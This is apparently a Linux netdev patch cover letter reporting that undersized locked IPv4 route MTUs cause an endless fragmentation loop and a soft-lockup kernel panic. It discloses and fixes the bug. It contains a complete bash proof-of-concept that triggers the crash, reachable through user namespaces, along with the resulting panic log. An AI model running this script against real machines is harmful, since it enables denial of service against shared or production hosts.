[PATCH net 0/1] ipv4: fix a non-progressing fragmentation loop from undersized RTAX_MTU

[Ren Wei <weir@nebusec.ai>]

From: Yong Wang <edragain@163.com>

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv4/metrics.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ip_metrics_convert() accepts arbitrarily small non-zero RTAX_MTU
values from userspace. A route installed with "mtu lock 20" therefore
stores an MTU that is below the IPv4 minimum MTU.

This route metric is later used on the IPv4 forwarding fragmentation
path. ip_skb_dst_mtu() returns the route MTU, and ip_do_fragment()
subtracts the IPv4 header length from it. With a normal 20-byte IPv4
header and RTAX_MTU=20, the resulting payload MTU becomes zero.

ip_frag_next() clamps the fragment length to state->mtu and then aligns
it down to an 8-byte boundary. When state->mtu is zero, the fragment
length remains zero, so state->left, state->offset and state->ptr never
advance. ip_do_fragment() therefore keeps allocating and transmitting
header-only fragments in a non-progressing loop until the softlockup
detector fires.

The bug is reachable through the IPv4 route netlink interface. A user
with CAP_NET_ADMIN in a user-created network namespace can install the
undersized locked MTU route and then inject or forward a non-DF IPv4
packet through it to trigger the loop.

Reproducer:

Run inside the guest as root:

    bash poc.sh root

The PoC sets up forwarding through dummy0 with a locked MTU of 20 and
injects one forwarded non-DF ping from a child netns.

Expected result:

    watchdog: BUG: soft lockup - CPU#... stuck ... [ping:...]

with ip_frag_next() and ip_do_fragment() in the panic stack.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#!/bin/bash
set -euo pipefail

MODE="${1:-root}"

OUT_NET="10.23.45.0/24"
OUT_ADDR="10.23.45.1/24"
OUT_SRC="${OUT_ADDR%/*}"
OUT_DST="10.23.45.2"
IN_ADDR="192.0.2.1/24"
IN_SRC="${IN_ADDR%/*}"
CHILD_ADDR="192.0.2.2/24"
CHILD_SRC="${CHILD_ADDR%/*}"
ROUTE_MTU="${ROUTE_MTU:-20}"
PING_SIZE="${PING_SIZE:-100}"

usage() {
	echo "usage: $0 {root|userns}" >&2
	exit 1
}

setup_forwarder() {
	ip link set lo up
	echo 1 > /proc/sys/net/ipv4/ip_forward

	ip link del veth0 2>/dev/null || true
	ip link add dummy0 type dummy 2>/dev/null || true

	ip link set dummy0 down 2>/dev/null || true
	ip addr flush dev dummy0 2>/dev/null || true

	ip link add veth0 type veth peer name veth1
	ip addr add "$IN_ADDR" dev veth0
	ip link set veth0 up

	ip link set dummy0 up
	ip addr add "$OUT_ADDR" dev dummy0
	ip route replace "$OUT_NET" dev dummy0 proto static scope link \
		src "$OUT_SRC" mtu lock "$ROUTE_MTU"
}

trigger_forwarded_ping() {
	unshare -n -- bash -c 'sleep 1000' &
	child=$!
	sleep 0.2

	ip link set veth1 netns "$child"
	nsenter -t "$child" -n ip link set lo up
	nsenter -t "$child" -n ip addr add "$CHILD_ADDR" dev veth1
	nsenter -t "$child" -n ip link set veth1 up
	nsenter -t "$child" -n ip route add default via "$IN_SRC"

	ip route get "$OUT_DST" from "$CHILD_SRC" iif veth0
	nsenter -t "$child" -n ping -M dont -s "$PING_SIZE" -c 1 -W 1 "$OUT_DST"
}

run_root() {
	sysctl -w kernel.panic_on_warn=0 \
		kernel.softlockup_panic=1 \
		kernel.watchdog_thresh=1 >/dev/null
	setup_forwarder
	trigger_forwarded_ping
}

run_inner_userns() {
	setup_forwarder
	trigger_forwarded_ping
}

run_userns() {
	exec unshare -Urn -- bash "$0" _inner_userns
}

case "$MODE" in
root)
	run_root
	;;
userns)
	run_userns
	;;
_inner_userns)
	run_inner_userns
	;;
*)
	usage
	;;
esac

------END poc.c--------

----BEGIN crash log----

[   49.620188] watchdog: BUG: soft lockup - CPU#2 stuck for 4s! [ping:892]
[   49.620193] Modules linked in:
[   49.620197] CPU: 2 UID: 0 PID: 892 Comm: ping Not tainted 6.12.95 #1
[   49.620200] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   49.620202] RIP: 0010:unwind_next_frame+0x71/0x830
[   49.620233] Code: 58 80 7b 41 01 48 83 df 00 48 85 ff 0f 84 6f 01 00 00 e8 12 fd ff ff 48 89 c5 48 85 c0 0f 84 a7 01 00 00 0f b6 45 05 83 e0 07 <0f> 84 32 01 00 00 3c 01 0f 84 2e 01 00 00 0f b6 45 05 c0 e8 03 83
[   49.620234] RSP: 0018:ffffc9000013c8d8 EFLAGS: 00000202
[   49.620237] RAX: 0000000000000002 RBX: ffffc9000013c918 RCX: ffffffff8244b4ef
[   49.620238] RDX: 0000000000000012 RSI: ffffffff84b91d34 RDI: ffffffff84b91d30
[   49.620239] RBP: ffffffff84fd2f1c R08: ffffffff8244b4fe R09: ffffffff84b91d18
[   49.620241] R10: 0000000000000006 R11: 00000000000144b4 R12: 0000000000000001
[   49.620242] R13: ffffffff8244b4ff R14: ffffc900012b7b88 R15: ffff888103790040
[   49.620245] FS:  00007c32225c1380(0000) GS:ffff88813bd00000(0000) knlGS:0000000000000000
[   49.620247] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   49.620248] CR2: 00007ffc35a21c80 CR3: 0000000105e58005 CR4: 0000000000770ef0
[   49.620251] PKRU: 55555554
[   49.620252] Call Trace:
[   49.620253]  <IRQ>
[   49.620255]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[   49.620260]  arch_stack_walk+0x9a/0x100
[   49.620264]  ? neigh_resolve_output+0x12f/0x1b0
[   49.620269]  stack_trace_save+0x4e/0x70
[   49.620271]  set_track_prepare+0x43/0x80
[   49.620275]  ? dummy_xmit+0x3f/0x70
[   49.620279]  ? dev_hard_start_xmit+0xca/0x1e0
[   49.620282]  ? __dev_queue_xmit+0x7c1/0xe60
[   49.620284]  ? ip_finish_output2+0x268/0x540
[   49.620287]  ? ip_do_fragment+0x229/0x560
[   49.620290]  ? ip_output+0x5d/0xe0
[   49.620292]  ? __netif_receive_skb_one_core+0x89/0xa0
[   49.620294]  ? process_backlog+0x99/0x1b0
[   49.620296]  ? __napi_poll+0x28/0x1b0
[   49.620298]  ? net_rx_action+0x197/0x370
[   49.620300]  ? handle_softirqs+0xe6/0x300
[   49.620303]  ? do_softirq.part.0+0x3b/0x60
[   49.620305]  ? __local_bh_enable_ip+0x4f/0x60
[   49.620307]  ? __neigh_event_send+0xb9/0x390
[   49.620310]  ? neigh_resolve_output+0x12f/0x1b0
[   49.620312]  free_to_partial_list+0x2ae/0x590
[   49.620315]  ? dummy_xmit+0x3f/0x70
[   49.620318]  ? dummy_xmit+0x3f/0x70
[   49.620320]  kmem_cache_free+0x265/0x400
[   49.620322]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620326]  ? skb_release_data+0x166/0x1c0
[   49.620330]  dummy_xmit+0x3f/0x70
[   49.620332]  dev_hard_start_xmit+0xca/0x1e0
[   49.620335]  __dev_queue_xmit+0x7c1/0xe60
[   49.620337]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620340]  ? kmem_cache_alloc_node_noprof+0x17a/0x2b0
[   49.620342]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620345]  ? kmalloc_reserve+0x93/0x100
[   49.620348]  ip_finish_output2+0x268/0x540
[   49.620351]  ip_do_fragment+0x229/0x560
[   49.620354]  ? __pfx_ip_finish_output2+0x10/0x10
[   49.620358]  ip_output+0x5d/0xe0
[   49.620361]  ? __pfx_ip_finish_output+0x10/0x10
[   49.620364]  __netif_receive_skb_one_core+0x89/0xa0
[   49.620366]  process_backlog+0x99/0x1b0
[   49.620369]  __napi_poll+0x28/0x1b0
[   49.620372]  net_rx_action+0x197/0x370
[   49.620377]  handle_softirqs+0xe6/0x300
[   49.620380]  do_softirq.part.0+0x3b/0x60
[   49.620382]  </IRQ>
[   49.620382]  <TASK>
[   49.620383]  __local_bh_enable_ip+0x4f/0x60
[   49.620385]  __neigh_event_send+0xb9/0x390
[   49.620389]  neigh_resolve_output+0x12f/0x1b0
[   49.620391]  ip_finish_output2+0x185/0x540
[   49.620394]  ip_output+0x5d/0xe0
[   49.620396]  ? __pfx_ip_finish_output+0x10/0x10
[   49.620399]  ip_push_pending_frames+0xa5/0xb0
[   49.620402]  raw_sendmsg+0x837/0x1220
[   49.620406]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.620408]  ? __alloc_pages_noprof+0x160/0x380
[   49.620411]  ? __mod_memcg_lruvec_state+0xd8/0x1d0
[   49.620418]  ? __sys_sendto+0x1df/0x1f0
[   49.620421]  __sys_sendto+0x1df/0x1f0
[   49.620427]  __x64_sys_sendto+0x24/0x30
[   49.620430]  do_syscall_64+0x58/0x120
[   49.620434]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   49.620437] RIP: 0033:0x7c3222839687
[   49.620440] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[   49.620441] RSP: 002b:00007ffc35a22670 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[   49.620443] RAX: ffffffffffffffda RBX: 00007c32225c1380 RCX: 00007c3222839687
[   49.620444] RDX: 000000000000006c RSI: 000055a98774a364 RDI: 0000000000000003
[   49.620445] RBP: 000055a98774a364 R08: 000055a98775c5d8 R09: 0000000000000010
[   49.620446] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000006c
[   49.620447] R13: 00007ffc35a23db0 R14: 000055a98774a364 R15: 0000001d00000001
[   49.620451]  </TASK>
[   49.620453] Kernel panic - not syncing: softlockup: hung tasks
[   49.651245] CPU: 2 UID: 0 PID: 892 Comm: ping Tainted: G             L     6.12.95 #1
[   49.651777] Tainted: [L]=SOFTLOCKUP
[   49.652014] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   49.652782] Call Trace:
[   49.652961]  <IRQ>
[   49.653107]  panic+0x352/0x3e0
[   49.653322]  watchdog_timer_fn+0x21b/0x260
[   49.653604]  ? __pfx_watchdog_timer_fn+0x10/0x10
[   49.653940]  __hrtimer_run_queues+0x11b/0x280
[   49.654242]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.654568]  hrtimer_interrupt+0xfa/0x230
[   49.654864]  __sysvec_apic_timer_interrupt+0x5a/0xf0
[   49.655200]  sysvec_apic_timer_interrupt+0x38/0x90
[   49.655529]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[   49.655894] RIP: 0010:unwind_next_frame+0x71/0x830
[   49.656218] Code: 58 80 7b 41 01 48 83 df 00 48 85 ff 0f 84 6f 01 00 00 e8 12 fd ff ff 48 89 c5 48 85 c0 0f 84 a7 01 00 00 0f b6 45 05 83 e0 07 <0f> 84 32 01 00 00 3c 01 0f 84 2e 01 00 00 0f b6 45 05 c0 e8 03 83
[   49.657450] RSP: 0018:ffffc9000013c8d8 EFLAGS: 00000202
[   49.657821] RAX: 0000000000000002 RBX: ffffc9000013c918 RCX: ffffffff8244b4ef
[   49.658303] RDX: 0000000000000012 RSI: ffffffff84b91d34 RDI: ffffffff84b91d30
[   49.658790] RBP: ffffffff84fd2f1c R08: ffffffff8244b4fe R09: ffffffff84b91d18
[   49.659276] R10: 0000000000000006 R11: 00000000000144b4 R12: 0000000000000001
[   49.659764] R13: ffffffff8244b4ff R14: ffffc900012b7b88 R15: ffff888103790040
[   49.660242]  ? neigh_resolve_output+0x12f/0x1b0
[   49.660554]  ? neigh_resolve_output+0x12e/0x1b0
[   49.660870]  ? neigh_resolve_output+0x11f/0x1b0
[   49.661178]  ? unwind_next_frame+0x5e/0x830
[   49.661463]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[   49.661829]  arch_stack_walk+0x9a/0x100
[   49.662116]  ? neigh_resolve_output+0x12f/0x1b0
[   49.662435]  stack_trace_save+0x4e/0x70
[   49.662699]  set_track_prepare+0x43/0x80
[   49.662996]  ? dummy_xmit+0x3f/0x70
[   49.663236]  ? dev_hard_start_xmit+0xca/0x1e0
[   49.663572]  ? __dev_queue_xmit+0x7c1/0xe60
[   49.663877]  ? ip_finish_output2+0x268/0x540
[   49.664168]  ? ip_do_fragment+0x229/0x560
[   49.664444]  ? ip_output+0x5d/0xe0
[   49.664681]  ? __netif_receive_skb_one_core+0x89/0xa0
[   49.665036]  ? process_backlog+0x99/0x1b0
[   49.665310]  ? __napi_poll+0x28/0x1b0
[   49.665560]  ? net_rx_action+0x197/0x370
[   49.665838]  ? handle_softirqs+0xe6/0x300
[   49.666122]  ? do_softirq.part.0+0x3b/0x60
[   49.666398]  ? __local_bh_enable_ip+0x4f/0x60
[   49.666695]  ? __neigh_event_send+0xb9/0x390
[   49.667002]  ? neigh_resolve_output+0x12f/0x1b0
[   49.667312]  free_to_partial_list+0x2ae/0x590
[   49.667610]  ? dummy_xmit+0x3f/0x70
[   49.667868]  ? dummy_xmit+0x3f/0x70
[   49.668113]  kmem_cache_free+0x265/0x400
[   49.668380]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.668710]  ? skb_release_data+0x166/0x1c0
[   49.669007]  dummy_xmit+0x3f/0x70
[   49.669242]  dev_hard_start_xmit+0xca/0x1e0
[   49.669535]  __dev_queue_xmit+0x7c1/0xe60
[   49.669829]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.670166]  ? kmem_cache_alloc_node_noprof+0x17a/0x2b0
[   49.670519]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.670864]  ? kmalloc_reserve+0x93/0x100
[   49.671140]  ip_finish_output2+0x268/0x540
[   49.671422]  ip_do_fragment+0x229/0x560
[   49.671686]  ? __pfx_ip_finish_output2+0x10/0x10
[   49.672012]  ip_output+0x5d/0xe0
[   49.672238]  ? __pfx_ip_finish_output+0x10/0x10
[   49.672543]  __netif_receive_skb_one_core+0x89/0xa0
[   49.672888]  process_backlog+0x99/0x1b0
[   49.673155]  __napi_poll+0x28/0x1b0
[   49.673395]  net_rx_action+0x197/0x370
[   49.673660]  handle_softirqs+0xe6/0x300
[   49.673938]  do_softirq.part.0+0x3b/0x60
[   49.674208]  </IRQ>
[   49.674361]  <TASK>
[   49.674512]  __local_bh_enable_ip+0x4f/0x60
[   49.674809]  __neigh_event_send+0xb9/0x390
[   49.675096]  neigh_resolve_output+0x12f/0x1b0
[   49.675392]  ip_finish_output2+0x185/0x540
[   49.675672]  ip_output+0x5d/0xe0
[   49.675908]  ? __pfx_ip_finish_output+0x10/0x10
[   49.676219]  ip_push_pending_frames+0xa5/0xb0
[   49.676515]  raw_sendmsg+0x837/0x1220
[   49.676781]  ? srso_alias_return_thunk+0x5/0xfbef5
[   49.677108]  ? __alloc_pages_noprof+0x160/0x380
[   49.677421]  ? __mod_memcg_lruvec_state+0xd8/0x1d0
[   49.677758]  ? __sys_sendto+0x1df/0x1f0
[   49.678031]  __sys_sendto+0x1df/0x1f0
[   49.678290]  __x64_sys_sendto+0x24/0x30
[   49.678556]  do_syscall_64+0x58/0x120
[   49.678819]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   49.679164] RIP: 0033:0x7c3222839687
[   49.679410] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[   49.680660] RSP: 002b:00007ffc35a22670 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[   49.681187] RAX: ffffffffffffffda RBX: 00007c32225c1380 RCX: 00007c3222839687
[   49.681663] RDX: 000000000000006c RSI: 000055a98774a364 RDI: 0000000000000003
[   49.682158] RBP: 000055a98774a364 R08: 000055a98775c5d8 R09: 0000000000000010
[   49.682640] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000006c
[   49.683157] R13: 00007ffc35a23db0 R14: 000055a98774a364 R15: 0000001d00000001
[   49.683641]  </TASK>
[   49.684119] Kernel Offset: disabled

-----END crash log-----

Best regards,
Yong Wang


Yong Wang (1):
  ipv4: reject RTAX_MTU values below IPV4_MIN_MTU

 net/ipv4/metrics.c | 6 ++++++
 1 file changed, 6 insertions(+)

-- 
2.53.0